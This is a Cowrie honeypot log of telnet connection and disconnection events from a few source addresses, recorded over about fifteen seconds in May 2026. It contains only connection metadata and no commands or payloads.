{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58298,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c116a5e4d3","protocol":"telnet","message":"New connection: 192.119.108.58:58298 (159.203.135.109:23) [session: 50c116a5e4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:18.959532Z"}
{"eventid":"cowrie.session.closed","duration":31.21563720703125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:19.467536Z","src_ip":"192.119.108.58","session":"0f8c7e8144b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33302,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e32ae27d4b8","protocol":"telnet","message":"New connection: 192.119.108.58:33302 (159.203.135.109:23) [session: 0e32ae27d4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:19.575376Z"}
{"eventid":"cowrie.session.closed","duration":30.404319047927856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.004584Z","src_ip":"162.241.141.97","session":"f968b4cb6cd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":37508,"dst_ip":"10.17.0.5","dst_port":23,"session":"3596ccf5f3a8","protocol":"telnet","message":"New connection: 50.6.231.162:37508 (10.17.0.5:23) [session: 3596ccf5f3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.156521Z"}
{"eventid":"cowrie.session.closed","duration":30.30520510673523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.197702Z","src_ip":"162.241.141.97","session":"ea4f31058e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83718490600586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.344913Z","src_ip":"192.119.108.58","session":"0a06228f1c8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34166,"dst_ip":"159.203.135.109","dst_port":23,"session":"11c90a83b11f","protocol":"telnet","message":"New connection: 192.119.108.58:34166 (159.203.135.109:23) [session: 11c90a83b11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.557948Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33356,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef0dc3b2230","protocol":"telnet","message":"New connection: 192.119.108.58:33356 (159.203.135.109:23) [session: 9ef0dc3b2230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.619977Z"}
{"eventid":"cowrie.session.closed","duration":31.116012573242188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.805085Z","src_ip":"162.241.141.97","session":"27dff5cd0c77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33578,"dst_ip":"159.203.135.109","dst_port":23,"session":"14732fd60c4c","protocol":"telnet","message":"New connection: 192.119.108.58:33578 (159.203.135.109:23) [session: 14732fd60c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:20.896325Z"}
{"eventid":"cowrie.session.closed","duration":30.15022587776184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.002675Z","src_ip":"162.241.141.97","session":"870fbe258983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":56476,"dst_ip":"159.203.135.109","dst_port":23,"session":"05bf8b93e29b","protocol":"telnet","message":"New connection: 162.241.141.97:56476 (159.203.135.109:23) [session: 05bf8b93e29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.008682Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":37524,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd5fed21a67f","protocol":"telnet","message":"New connection: 50.6.231.162:37524 (10.17.0.5:23) [session: cd5fed21a67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.071734Z"}
{"eventid":"cowrie.session.closed","duration":30.613539457321167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.093792Z","src_ip":"162.241.141.97","session":"a53cf2445c50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":56750,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1852d6158c","protocol":"telnet","message":"New connection: 162.241.141.97:56750 (159.203.135.109:23) [session: bd1852d6158c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.099663Z"}
{"eventid":"cowrie.session.closed","duration":30.625244855880737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.150277Z","src_ip":"208.115.200.90","session":"c5b76aaa90fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48437261581421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.189475Z","src_ip":"162.241.141.97","session":"f311d700901b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":56188,"dst_ip":"159.203.135.109","dst_port":23,"session":"c72da6fffd1d","protocol":"telnet","message":"New connection: 162.241.141.97:56188 (159.203.135.109:23) [session: c72da6fffd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:21.862049Z"}
{"eventid":"cowrie.session.closed","duration":30.901041269302368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:22.139051Z","src_ip":"162.241.141.97","session":"c01ac2d83dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10950231552124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:22.194571Z","src_ip":"162.241.141.97","session":"a5dad472e9e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819875955581665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:22.221838Z","src_ip":"162.241.141.97","session":"8682334dc646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045090198516846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:22.465444Z","src_ip":"162.241.141.97","session":"860a0a9be567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33352,"dst_ip":"159.203.135.109","dst_port":23,"session":"f44fe465e9ae","protocol":"telnet","message":"New connection: 192.119.108.58:33352 (159.203.135.109:23) [session: f44fe465e9ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:22.626933Z"}
{"eventid":"cowrie.session.closed","duration":30.41380786895752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:23.030454Z","src_ip":"192.119.108.58","session":"7c0679743591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.551589012145996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:23.090424Z","src_ip":"192.119.108.58","session":"a28069e91c07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44826650619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:23.308340Z","src_ip":"192.119.108.58","session":"62969a2ed75f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054161071777344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:23.675151Z","src_ip":"192.119.108.58","session":"17daa7573fdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411562204360962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:23.820887Z","src_ip":"208.115.200.90","session":"22ba582b7b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13836359977722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:24.324268Z","src_ip":"208.115.200.90","session":"ee62748b0d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37520,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6ea0f249503","protocol":"telnet","message":"New connection: 192.119.108.58:37520 (159.203.135.109:23) [session: b6ea0f249503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:24.834588Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"02af05de6272","protocol":"telnet","message":"New connection: 50.6.231.162:49118 (10.17.0.5:23) [session: 02af05de6272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:25.613100Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":49108,"dst_ip":"10.17.0.5","dst_port":23,"session":"f41d9730cbb8","protocol":"telnet","message":"New connection: 50.6.231.162:49108 (10.17.0.5:23) [session: f41d9730cbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:25.790861Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":37532,"dst_ip":"10.17.0.5","dst_port":23,"session":"44cef2bcae77","protocol":"telnet","message":"New connection: 50.6.231.162:37532 (10.17.0.5:23) [session: 44cef2bcae77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:26.354414Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35200,"dst_ip":"159.203.135.109","dst_port":23,"session":"d683f7476057","protocol":"telnet","message":"New connection: 162.241.141.97:35200 (159.203.135.109:23) [session: d683f7476057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:26.385467Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36062,"dst_ip":"159.203.135.109","dst_port":23,"session":"288e2845e642","protocol":"telnet","message":"New connection: 162.241.141.97:36062 (159.203.135.109:23) [session: 288e2845e642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:26.781039Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36378,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6507059b9ee","protocol":"telnet","message":"New connection: 162.241.141.97:36378 (159.203.135.109:23) [session: c6507059b9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:26.954525Z"}
{"eventid":"cowrie.session.closed","duration":30.808705806732178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.008945Z","src_ip":"162.241.141.97","session":"98d55f451401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94841456413269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.185622Z","src_ip":"192.119.108.58","session":"cdd0641c736b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66629981994629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.263273Z","src_ip":"162.241.141.97","session":"3b47e25ac2b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18206763267517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.374809Z","src_ip":"162.241.141.97","session":"f85d1dc914a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53729224205017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.409965Z","src_ip":"162.241.141.97","session":"08f4b646758c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.694727420806885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.827376Z","src_ip":"162.241.141.97","session":"5f8ec264f2d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945512771606445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.838217Z","src_ip":"208.115.200.90","session":"8787fba50fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.592811822891235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.962919Z","src_ip":"192.119.108.58","session":"a21a920614ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":49126,"dst_ip":"10.17.0.5","dst_port":23,"session":"afef2407dde0","protocol":"telnet","message":"New connection: 50.6.231.162:49126 (10.17.0.5:23) [session: afef2407dde0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:27.998855Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39568,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c695f3d9995","protocol":"telnet","message":"New connection: 192.119.108.58:39568 (159.203.135.109:23) [session: 5c695f3d9995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:28.074075Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39596,"dst_ip":"159.203.135.109","dst_port":23,"session":"57e459d9e829","protocol":"telnet","message":"New connection: 192.119.108.58:39596 (159.203.135.109:23) [session: 57e459d9e829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:28.150045Z"}
{"eventid":"cowrie.session.closed","duration":30.299782752990723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:28.166713Z","src_ip":"208.115.200.90","session":"af3e9e4f3f61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.131.44.88","src_port":40857,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e831041da6a","protocol":"telnet","message":"New connection: 37.131.44.88:40857 (159.203.135.109:23) [session: 7e831041da6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:28.244853Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39726,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfb31566a74a","protocol":"telnet","message":"New connection: 192.119.108.58:39726 (159.203.135.109:23) [session: bfb31566a74a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:28.326035Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39792,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3e64d49af73","protocol":"telnet","message":"New connection: 192.119.108.58:39792 (159.203.135.109:23) [session: b3e64d49af73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:28.376506Z"}
{"eventid":"cowrie.session.closed","duration":31.41528844833374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:28.533845Z","src_ip":"192.119.108.58","session":"54e488a461b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":49146,"dst_ip":"10.17.0.5","dst_port":23,"session":"419e3b3b0319","protocol":"telnet","message":"New connection: 50.6.231.162:49146 (10.17.0.5:23) [session: 419e3b3b0319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:29.195412Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":49134,"dst_ip":"10.17.0.5","dst_port":23,"session":"7da8aa963597","protocol":"telnet","message":"New connection: 50.6.231.162:49134 (10.17.0.5:23) [session: 7da8aa963597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:29.605921Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40184,"dst_ip":"159.203.135.109","dst_port":23,"session":"909f43ad6806","protocol":"telnet","message":"New connection: 192.119.108.58:40184 (159.203.135.109:23) [session: 909f43ad6806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:30.018795Z"}
{"eventid":"cowrie.session.closed","duration":30.5410053730011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:30.097144Z","src_ip":"192.119.108.58","session":"55ce1339a69c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40996,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d54feed8a6d","protocol":"telnet","message":"New connection: 192.119.108.58:40996 (159.203.135.109:23) [session: 5d54feed8a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:30.228465Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41254,"dst_ip":"159.203.135.109","dst_port":23,"session":"8626627e548f","protocol":"telnet","message":"New connection: 192.119.108.58:41254 (159.203.135.109:23) [session: 8626627e548f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:30.582876Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41418,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0de529811a7","protocol":"telnet","message":"New connection: 192.119.108.58:41418 (159.203.135.109:23) [session: b0de529811a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:30.909550Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41556,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d936af1fcaf","protocol":"telnet","message":"New connection: 192.119.108.58:41556 (159.203.135.109:23) [session: 2d936af1fcaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:31.264548Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":49162,"dst_ip":"10.17.0.5","dst_port":23,"session":"006ff17bcb33","protocol":"telnet","message":"New connection: 50.6.231.162:49162 (10.17.0.5:23) [session: 006ff17bcb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:31.394835Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":41418,"dst_ip":"159.203.135.109","dst_port":23,"session":"324f869e32bd","protocol":"telnet","message":"New connection: 162.241.141.97:41418 (159.203.135.109:23) [session: 324f869e32bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:31.675192Z"}
{"eventid":"cowrie.session.closed","duration":30.791983366012573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:31.701552Z","src_ip":"192.119.108.58","session":"f3793dfde10b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.458892822265625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:32.087049Z","src_ip":"192.119.108.58","session":"46c245c5d53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21723747253418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:32.097550Z","src_ip":"162.241.141.97","session":"68b43f1125d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42298,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6860bec2a3","protocol":"telnet","message":"New connection: 162.241.141.97:42298 (159.203.135.109:23) [session: 5b6860bec2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:32.130097Z"}
{"eventid":"cowrie.session.closed","duration":30.878950119018555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:32.228349Z","src_ip":"208.115.200.90","session":"756a8741a14b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42914,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd682b2f61e","protocol":"telnet","message":"New connection: 162.241.141.97:42914 (159.203.135.109:23) [session: dcd682b2f61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:32.450468Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43538,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e9572a19223","protocol":"telnet","message":"New connection: 162.241.141.97:43538 (159.203.135.109:23) [session: 2e9572a19223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:32.811090Z"}
{"eventid":"cowrie.session.closed","duration":30.17310118675232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:32.997088Z","src_ip":"162.241.141.97","session":"b768d8eb7349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44040,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f99add63d6b","protocol":"telnet","message":"New connection: 162.241.141.97:44040 (159.203.135.109:23) [session: 3f99add63d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.048629Z"}
{"eventid":"cowrie.session.closed","duration":30.63013792037964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.097139Z","src_ip":"162.241.141.97","session":"871dace53ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.383657693862915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.136382Z","src_ip":"162.241.141.97","session":"3a48f942dc5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857417345046997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.160672Z","src_ip":"162.241.141.97","session":"7940da3cff92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.177476406097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.181689Z","src_ip":"162.241.141.97","session":"c604cf06542c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.529260635375977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.197407Z","src_ip":"192.119.108.58","session":"3438c49409a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67959690093994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.336339Z","src_ip":"50.6.231.162","session":"e58c963e458f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44858,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfd9b16974a6","protocol":"telnet","message":"New connection: 162.241.141.97:44858 (159.203.135.109:23) [session: cfd9b16974a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.342473Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":49178,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b99b15e699f","protocol":"telnet","message":"New connection: 50.6.231.162:49178 (10.17.0.5:23) [session: 7b99b15e699f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.420808Z"}
{"eventid":"cowrie.session.closed","duration":30.53693199157715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.468213Z","src_ip":"162.241.141.97","session":"9ce094dcd621","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45433521270752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:20:33.494873Z","src_ip":"162.241.141.97","session":"f934cbdfcbba","protocol":"telnet"}
